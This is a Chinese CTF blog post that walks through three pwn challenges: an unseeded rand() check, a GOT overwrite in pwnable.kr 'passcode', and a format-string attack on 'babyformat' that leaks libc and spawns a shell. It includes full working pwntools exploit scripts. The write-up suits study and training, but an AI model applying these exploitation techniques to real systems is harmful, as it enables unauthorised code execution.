CTF

「pwnable.kr」 持续更新中……

天哪好久没更新了!!大四大四

Posted by 许大仙 on October 24, 2018

一、random WriteUp

1.题目:

random题

1 pt可以看出,这题不难呀!

2.反汇编源码:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [rsp+8h] [rbp-8h]
  int v5; // [rsp+Ch] [rbp-4h]

  v5 = rand();
  v4 = 0;
  __isoc99_scanf(&unk_400760, &v4);
  if ( (v5 ^ v4) == 0xDEADBEEF )
  {
puts("Good!");
system("/bin/cat flag");
  }
  else
  {
puts("Wrong, maybe you should try 2^32 cases.");
  }
  return 0;
}

没有srand得到的种子!!!所以这个rand是假的。得到的“随机数”是固定的。

3.rand函数的实现

linux下的rand是用类似下面的代码实现的:

static unsigned long next = 1;

/* RAND_MAX assumed to be 32767 */
int myrand(void) {
	next = next * 1103515245 + 12345;
	return((unsigned)(next/65536) % 32768);
}

void mysrand(unsigned seed) {
	next = seed;
}

myrand、mysrand分别对应rand和srand,但实际的rand实现会复杂一些。

如果你没有调用srand设置随机数种子,seed的默认值会是0,而seed为0时所决定的序列是固定的【只要seed固定,产生的随机数都一样】,而第一次调用rand()就是返回这个固定序列里的第1个元素,那它的值也是固定的,自然你的程序每次输出都一样了。

所以正确的写法应该是程序初始化时用srand设置不同的随机数种子(只需要设置一次),例如srand(time(NULL)),但要注意,time(NULL)的值是隔1秒才改变一次的【只要你不是在同一秒内执行两次,每次输出结果都是不一样】,必要情况下可以考虑使用精度更高的时间函数,如gettimeofday。

4.攻击脚本及思路

根据反汇编源码可知,只要(v5 ^ v4) == 0xDEADBEEF成立我们就可以执行system(“/bin/cat flag”);

而v5=rand(),gdb调试看一下rand的返回值为0x6b8b4567

gdb调试得到固定值v5

__isoc99_scanf(&unk_400760, &v4);

unk_400760的值

可知scanf(“%d”,&v4),此处输入v4的值,要使(v5 ^ v4) == 0xDEADBEEF成立,则

v4=v5^0xDEADBEEF=0x6b8b4567^0xDEADBEEF=0xB526FB88

poc:

#!/usr/bin/python
from pwn import *
re = ssh(host="pwnable.kr",password="guest",user="random",port=2222).process("./random")


​ payload = 0xB526FB88 #v4 ​

re.sendline(str(payload)) #%d输入,转化成字符串形式整数形式
print re.recv()

flag

二、passcode WriteUp

1.回顾GOT和PLT表

参考GOT和PLT表

PLT[0]是一个函数,这个函数的作用是通过GOT[0],GOT[1]和GOT[2]来正确绑定一个函数的真实地址到GOT表中来。而plt[0]代码做的事情则是:由于GOT[2]中存储的是动态链接器的入口地址,所以通过GOT[1]、GOT[0]中的数据作为参数,跳转到GOT[2]所对应的函数入口地址[即动态链接器],这个动态链接器会将一个函数的真正地址绑定到相应的GOT[x]中。

PLT/GOT表的两次解析

从而可知call 动态函数,就会跳转到对应的PLT[x],而PLT[x]的小段代码,会跳转到GOT[y],这里存储了真实运行时的动态函数地址或通过解析后会得到真实运行时的动态函数地址并在这里存储。

因此如果攻击某个对应函数A的GOT[x],将GOT[x]处写入B函数的地址,那么就会在call A的时候跳转到B【即使之前A没有解析过,但是PLT表项中的jmp * GOT[x]还是会执行,只是不会跳转去解析出A函数地址了,而是直接jmp *GOT[x]=jmp B】

利用objdump -h 可执行文件名得到ELF文件的各个节信息。PLT表/节属于代码段,GOT表/节属于数据段。所以在no PIE【数据段和代码段的随机化】的情况下,GOT表和PLT表的条目地址不会改变。

综上所述,要进行GOT表攻击:

  • 有动态函数A调用[call A]
  • NO PIE或可以获得A函数对应的GOT表项地址
  • 实现任意地址写
    • 堆溢出double-shot
    • 格式化字符串漏洞addr%k$s【详见格式化字符串漏洞利用之泄露内存
    • 有read(0,buf,nbytes)【从键盘传送nbyte个字节到buf指针所指的内存中】,write,puts等函数可以构造对GOT表项写
    • 还有这题例子中的printf(“%d”,passcode1)【passcode1没有取地址操作】
    • ….

2.正式题解

passcode题目

通过Linux scp命令在Linux之间复制文件和目录,scp是linux系统下基于ssh登陆进行安全的远程文件拷贝命令。

参数说明:

  • 1: 强制scp命令使用协议ssh1
  • 2: 强制scp命令使用协议ssh2
  • 4: 强制scp命令只使用IPv4寻址
  • 6: 强制scp命令只使用IPv6寻址
  • P port:注意是大写的P, port是指定数据传输用到的端口号

scp命令获取ssh远程链接主机的

得到passcode和passcode.c文件,在本地进行反汇编和漏洞分析

(1)源码

#include <stdio.h>
#include <stdlib.h>

void login(){
	int passcode1;
	int passcode2;

	printf("enter passcode1 : ");
	scanf("%d", passcode1);
	fflush(stdin);

	// ha! mommy told me that 32bit is vulnerable to bruteforcing :)
	printf("enter passcode2 : ");
scanf("%d", passcode2);

	printf("checking...\n");
	if(passcode1==338150 && passcode2==13371337){
printf("Login OK!\n");
system("/bin/cat flag");
}
else{
printf("Login Failed!\n");
		exit(0);
}
}

void welcome(){
	char name[100];
	printf("enter you name : ");
	scanf("%100s", name);
	printf("Welcome %s!\n", name);
}

int main(){
	printf("Toddler's Secure Login System 1.0 beta.\n");

	welcome();
	login();

	// something after login...
	printf("Now I can safely trust you that you have credential :)\n");
	return 0;	
}

(2)攻击思路

NO PIE条件已具备,代码段和数据段地址不变,GOT表项也就稳定啦。

passcode程序代码

分析代码的逻辑就是调用welcome()输入用户名,然后调用login(),在login()中:

passcode程序代码

假如我们可以控制passcode地址下的值,就可以实现任意地址写:

漏洞原理

而控制要passcode的内容B,就要想办法控制栈上的数据,整个程序中还和输入有关的,输入到栈中的,只有welcome中:

  printf("enter you name : ");
  __isoc99_scanf("%100s", &v1);
  printf("Welcome %s!\n", &v1);

这里可以读取100个字节到栈中,那么这100个字节有没有包含passcode的内存单元呢?

首先,栈帧由esp标识界限,当esp-0xnum的时候【栈顶下降】,不会影响栈上的数据。

分析从main->welcome->login->main的过程,可以发现:

任意地址写的实现

现在就剩下两个个问题了!

  • scanf(“%100s”, name);中写入栈的100字节里面,哪个位置是未来login栈帧中的passcode1首地址?
  • 这个任意地址写,要写哪个地址,写入什么呢?

welcome反汇编结果 login反汇编结果

passcode1的内存单元位置是在%ebp-10h的地方,name的首地址是%ebp-70h的地方,这两个部分是有重叠的。由于”%100s”的限制,对name只能写100个字节,也就是从%ebp-70h开始写到%ebp-70h+100字节 = %ebp-70h+64h。

而%ebp-10h = %ebp-70h+60h是passcode1的地址,也就说明对name写的100字节中,前96个字节[60h]可以随便,最后4个字节[4h]恰好覆盖了passcode1的内存单元。

通过上面介绍的GOT表攻击可知,我们可以把这个任意地址写,用于写fflush动态链接库函数的GOT表项地址。 显然代码中有system(“/bin/cat flag”)的调用,那么就写入system(“/bin/cat flag”)的调用处的代码地址。

login代码段

(3)攻击脚本

#!/usr/bin/python
from pwn import *
context(arch='i386',os='linux')
local = 0
if local:
	re = process('./passcode')
else:
	re = ssh(host='pwnable.kr',user='passcode',password='guest',port=2222).process('./passcode')  #ssh远程链接

re.recv() #一直接收,直到timeout

elf = ELF('./passcode')
payload = 'a'*96+p32(elf.got['fflush']) #输入100个字符,前96个随便,后面4个字符为GOT中的fflush表项地址:p32(elf.got['fflush'])
re.sendline(payload) 

sys_addr = 0x080485E3 #login()中system("bin/cat flag")的地址
print re.recv()

payload2 = str(sys_addr) #由于是"%d"输入,所以就按照正常整数顺序输入即可,只是把十六进制整数变为10进制字符串型整数,0x080485E3 = 134514147D,str(sys_addr)=“134514147”
re.sendline(payload2)
re.recv()

注意:

  • p32(0xabcdefgh)=\xgh\xeg\xcd\xab,将整数0xabcdefgh变为4字符字符串,是会考虑大小端问题的,0xgh低位在前[低地址],0xab高位在后[高地址]
  • 而str(int类似数据),只是把str(1234)=”1234”而已,把某进制的整数变为十进制整数的字符串形式而已。
  • %s读取字符,就是按照先读低位,再读高位而已。比如“%s”输入“1234”,就会1放在低地址,4放在高地址
  • %d读取字符,会自动做大小端转换,对1234,就是1放在高地址,4放在低地址
  • 总之,整数的读取就按照人为的感觉去写数字的位置,字符串形式读取整数值要考虑大小端顺序。

获取flag

三、babyformat

DEMO来自ISITDTU CTF quals 2018中的一道pwn题,二进制文件为babyformat。

1.程序分析

通过checksec查看程序的保护机制,没有canary,可以进行栈溢出,但是开启了FULL RELRO,意味着GOT表不可写入,同时还开启了PIE程序加载基地址随机化,因此.text、.data、.bss等段的地址不固定。

该题目的程序逻辑很简单,并包含了很明显的格式化字符串漏洞。程序的逻辑如下:

  • 全局变量COUNT初始值为2,设定了循环次数为3次。
  • 循环内调用exploit_me()
  • 清空全局变量BUFF后,写入13字节大小的字符串,并使用printf输出。

clip_image007

clip_image003

clip_image005

clip_image009

要getshell,需要绕过以下问题:

  • 只能利用3次格式化字符串,且格式化字符串的大小限制在13个字节内
  • 格式化字符串不在栈上,因此任意地址读写需要在栈上构造地址。
  • 程序本身没有system的PLT表项,需要进行libc基地址的泄露。

2.攻击方法

要获得system函数和“/bin/sh”的地址,首先需要泄露libc的基地址。要泄露libc的基地址,就需要格式化字符串在栈上构造动态链接函数的地址,泄露其值。而后计算出libc的基地址后,需要写入system函数的地址到返回地址处,并设置其参数为”/bin/sh”,这时候由于ASLR机制,故可能会影响栈上地址的预测。显然三次格式化字符串利用和有限长度的格式化字符串是无法完成上述任务。因此需要考虑对控制循环次数的COUNT或MACRO_COUNT i变量进行修改,增加格式化字符串的利用次数,以便进行接下来的一系列攻击。

因此好好利用前三次的格式化字符串漏洞,基本的思路如下:

  • 第一次:泄露栈地址和程序加载基地址。
    • 泄露栈地址的意义:便于修改栈上局部变量以及在栈上设置返回地址和参数。
    • 泄露程序加载基地址的意义:定位got表项的地址,便于后续libc基地址的泄露。
  • 第二次:在栈上构造MACRO_COUNT i(循环的index)或者COUNT(循环的上界)的地址。
  • 第三次:修改MACRO_COUNT i或者COUNT变量的值,增加格式化字符串漏洞可利用次数。

完成上述任务后,接下来就是利用多次格式化字符串漏洞,泄露got表中已解析函数的地址,得到libc的加载基地址,并计算出system函数和“/bin/sh”的加载地址,在栈帧上返回地址和参数区处构造system(“/bin/sh”)。

3.详细攻击过程

第一次:泄露栈地址和程序加载基地址

进入exploit_me()之后,调用printf之前,栈帧的布局如下:

clip_image011

我们通过泄露ebp存储的old ebp来获取栈地址,同时通过printf()前入栈的参数BUFF来泄露程序的加载基地址【绕过了ASLR和PIE机制】。

clip_image013

故采用%p%6$p格式化字符串来泄露栈地址和程序加载地址。

对应的实现脚本如下:

p.sendline('%p%6$p')
buff_oebp_addr = p.recvline()
buff = int(buff_oebp_addr[2:10], 16)
binary_base = buff - 0x202c 
log.info("BUFF address is %x" % buff)
ebp = int(buff_oebp_addr[12:20], 16) - 0x20
log.info("ebp address is %x" % ebp)

常数说明:

  • 由于.bss段中buff变量偏移为0x202,因此要计算程序的加载基地址需要减去0x202

clip_image015

  • 在exploit栈帧中,ebp和old_ebp的偏移差为0x20,因此可得到exploit_me栈帧的ebp地址。
    • 注意%p是泄露栈上存储的值,因此需要存储了栈相关变量的栈地址来泄露站地址,故需要借用ebp->old_ebp处
第二次:在栈上构造MACRO_COUNT i或者COUNT的地址

由于存储格式化字符串的变量BUFF不在栈中,因此想要修改控制循环的变量的值,需将该变量的地址先写到栈帧中。通过第一次格式化字符串利用,我们已知了栈地址和程序加载基地址,因此就可以确定地址随机化之后的MACRO_COUNT i或者COUNT的地址。

观察当前程序栈帧,我们需要一个存储了COUNT变量(.data段)附近地址的变量或存储了栈地址的变量,以便使用%n、%hn、%hhn进行写入。

MACRO_COUNT i或者COUNT的地址如下:

clip_image017

由于当前栈帧中的变量存储了栈地址(没有存储.bss段地址的)的只有绿色框中的两个位置,因此只能构造MACRO_COUNT i地址,将其修改为负数,以增加循环次数,进而可进行多次格式化字符串漏洞利用【注意i变量只在进入循环体时初始化一次为0,由于main栈帧没有退出,故在执行过程中可以修改i变量】

clip_image019

从上图可以看出0xffffd004地址处存储的是内存单元0xffffd0c4的地址,而0xffffd0c4存储的值是0xffffd294,也就是说栈上有一个存储了栈地址0xffffd294的变量(该变量的地址为0xffffd0c4)。

由于栈地址的高16位固定,随机化只在低16位发生,因此只需要将0xffffd294的低16位修改为MACRO_COUNT i的最高字节地址的低16位即可。也就是说,即利用%hn(双字节写入),将0xffffd294修改为0xffffd00f。

clip_image021

对应的脚本实现如下:

i_16 = (ebp + 0x17) & 0xffff
# %k$hn会对指定k偏移处下的地址写入已输出字节的数量
# "%" + str(i_16) + "d"会输出0xd00f宽度的字符串
# 也就是将0xffffd0c4地址下的内容的低16位修改为0xd00f
# 即变为0xffffd004 —▸ 0xffffd0c4 —▸ 0xffffd00f
payload1 = "%" + str(i_16) + "d" + "%9$hn" 
p.sendline(payload1)

常数说明:

  • 0x17为ebp=0xffffcff8和MACRO_COUNT i变量最高字节地址0xffffd00f的偏移差。
  • 0xffff是获取MACRO_COUNT i变量最高字节地址0xffffd00f的低16位,即0xd00f
第三次:修改MACRO_COUNT i变量的值

现在要利用构造好的MACRO_COUNT i变量地址,对其进行写入。因为构造好的地址存储在0xffffd0c4下【0xffffd0c4 —▸ 0xffffd00f】,故使用%hhn单字节写入,对偏移为0x39=57处的栈地址0xffffd0c4中存储的0xffffd00f地址写入0xFF=255。

clip_image023

构造格式化字符串为%255d%57$hhn

通过上述三个步骤,现在可以实现“无限次”使用格式化字符串漏洞,接下来的目标就是泄露libc基地址,在返回地址和参数区构造system(“/bin/sh”)。

对应的脚本如下:

payload2 = "%255d%57$hhn"
p.sendline(payload2)

4.Get Shell

由于格式化字符串不在栈帧上,因此如果要读写某个地址,都需要将该地址放置到栈帧上,才可以实现。

现在我们有无限次的格式化字符串漏洞,故仿照第二次和第三次的格式化字符串利用的思路,设计一个功能函数在某个栈地址上构造任意地址,以达到任意地址读写的目的。这样我们就可以在指定的栈地址写入GOT表项并泄露,在栈上返回地址写入system函数地址,在栈上参数区写入“/bin/sh”地址。

clip_image025

回顾在进入printf之前的exploit_me栈帧,凑巧的是绿色框中的存储的两个栈地址0xffffd0c4和0xffffd0cc是十分相邻的栈上地址,且其中存储的都是栈地址,便于我们在栈地址stack_addr上设置一个4字节的任意地址addr,即在0xffffd0c4地址下写入stack_addr,在0xffffd0cc地址下写入stack_addr+2。而后,通过0xffffd0c4确定format中设定的偏移,此时该地址下存储了stack_addr,因此可以使用%hn修改stack_addr地址下的两个字节;同理,通过0xffffd0cc确定format中设定的偏移,此时该地址下存储了stack_addr+2,因此可以使用%hn修改stack_addr+2地址下的两个字节。也就是对stack_addr~stack_addr+4,写入了任意四个字节addr。从而达到在任意栈地址stack_addr上设置一个4字节的任意地址addr的目的。

对应的脚本实现如下:

def var_in_stack_addr(stack_addr, val):
    #利用格式化字符串漏洞在指定栈地址stack_addr下写入任意值val
    saddr_low = (stack_addr + 2) & 0xffff
    payload1 = "%"+str(saddr_low) + "d" + "%9$hn"
    p.sendline(payload1)
    p.recvrepeat(0.5)

    saddr_high = (stack_addr) & 0xffff
    payload2 = "%" + str(saddr_high) + "d" + "%10$hn"
    p.sendline(payload2)
    p.recvrepeat(0.5)

    val_high = (val & 0xffff0000) >> 16
    val_low = val & 0xffff
    payload3 = "%" + str(val_high)+"d" + "%57$hn"  
    p.sendline(payload3)
    p.recvrepeat(0.5)

    payload4 = "%" + str(val_low)+"d"+"%59$hn"
    p.sendline(payload4)
    p.recvrepeat(0.5)

现在通过泄露read、printf等任意函数的got表中地址,获取libc的基地址。但由于没有libc.so的版本信息,因此借用已有的工具libc database search或LibcSearcher 来获取其他函数的偏移。

在得到libc基地址后,利用功能函数var_in_stack_addr,在返回地址处和第一个入口参数设置system函数地址和”/bin/sh”字符串地址。

最终的利用脚本如下:

from pwn import *
def var_in_stack_addr(stack_addr, val):
	#利用格式化字符串漏洞在指定栈地址stack_addr下写入任意值val
    saddr_low = (stack_addr + 2) & 0xffff
    payload1 = "%"+str(saddr_low) + "d" + "%9$hn"
    p.sendline(payload1)
    p.recvrepeat(0.5)

    saddr_high = (stack_addr) & 0xffff
    payload2 = "%" + str(saddr_high) + "d" + "%10$hn"
    p.sendline(payload2)
    p.recvrepeat(0.5)

    val_high = (val & 0xffff0000) >> 16
    val_low = val & 0xffff
    
    payload3 = "%" + str(val_high)+"d" + "%57$hn"
    p.sendline(payload3)
    p.recvrepeat(0.5)

    payload4 = "%" + str(val_low)+"d"+"%59$hn"
    p.sendline(payload4)
    p.recvrepeat(0.5)

p=process("./babyformat")
elf = ELF("./babyformat")
p.recvline("==== Baby Format - Echo system ====")

#====== 获得栈地址和程序加载地址 =====
p.sendline('%p%6$p')
buff_oebp_addr = p.recvline()

buff = int(buff_oebp_addr[2:10],16)
binary_base = buff - 0x202c 
log.info("BUFF address is 0x%x" % buff)
ebp = int(buff_oebp_addr[12:20],16) - 0x20
log.info("ebp address is 0x%x" % ebp)

# =====修改index为负数,增加格式化字符串漏洞利用次数 =====
i_16 = (ebp + 0x17) & 0xffff
payload1 = "%" + str(i_16) + "d" + "%9$hn"
p.sendline(payload1)
p.recvrepeat(1)

payload2 = "%255d%57$hhn"
p.sendline(payload2)
p.recvrepeat(1)

# ===== 泄露libc,并获得shell =====
printf_offset = 0x49680
bin_sh_offset = 0x15bb0b
system_offset = 0x03adb0

printf_got = elf.got["printf"] + binary_base
var_in_stack_addr(ebp+0x28,printf_got) # 在栈上存储got表项的位置随意,只要和fmt的offset一致就可以,即ebp+0x28和16一致,还可以使用ebp+0x20和14。
p.recvrepeat(1)

payload3 = "%16$s"
p.sendline(payload3)
printf_addr = u32(p.recvline()[0:4])
log.info('printf address is 0x%x, which can use to determine the version of libc.so' % printf_addr)

libc_base = printf_addr - printf_offset
#注意,不能覆盖exploit_me栈帧的返回地址,因为构造system("/bin/sh")的时候要使用8次格式化字符串漏洞,因此只能在main栈帧的返回地址进行构造。
ret_saddr = ebp + 0x34  # main栈帧退出时,获取返回地址所在的栈位置
arg1_saddr = ebp + 0x3c # 注意这里不是0x38,而是0x3C,当main中的ret指令,会获得

sys_addr = system_offset + libc_base
bin_sh_addr = bin_sh_offset + libc_base

var_in_stack_addr(ret_saddr, sys_addr)
var_in_stack_addr(arg1_saddr, bin_sh_addr)
log.info("Ready to call system(\"/bin/sh\")!")

p.recvrepeat(1)
p.sendline('EXIT') #主动触发EXIT,break后才能从main栈帧中退出,转入system
p.interactive()

可以看到如果在ebp + 0x34=0xffffd2c存储system地址,会使得main函数退出后,转入system函数,此时esp指向0xffffd30,之后在system中执行push ebpmov ebp,esp,即此时ebp变为0xffffd2c,故ebp+8=0xffffd2c+8 = 0xffffd34位置作为第一个参数。

实现结果

利用多次格式化字符串漏洞,获得shell: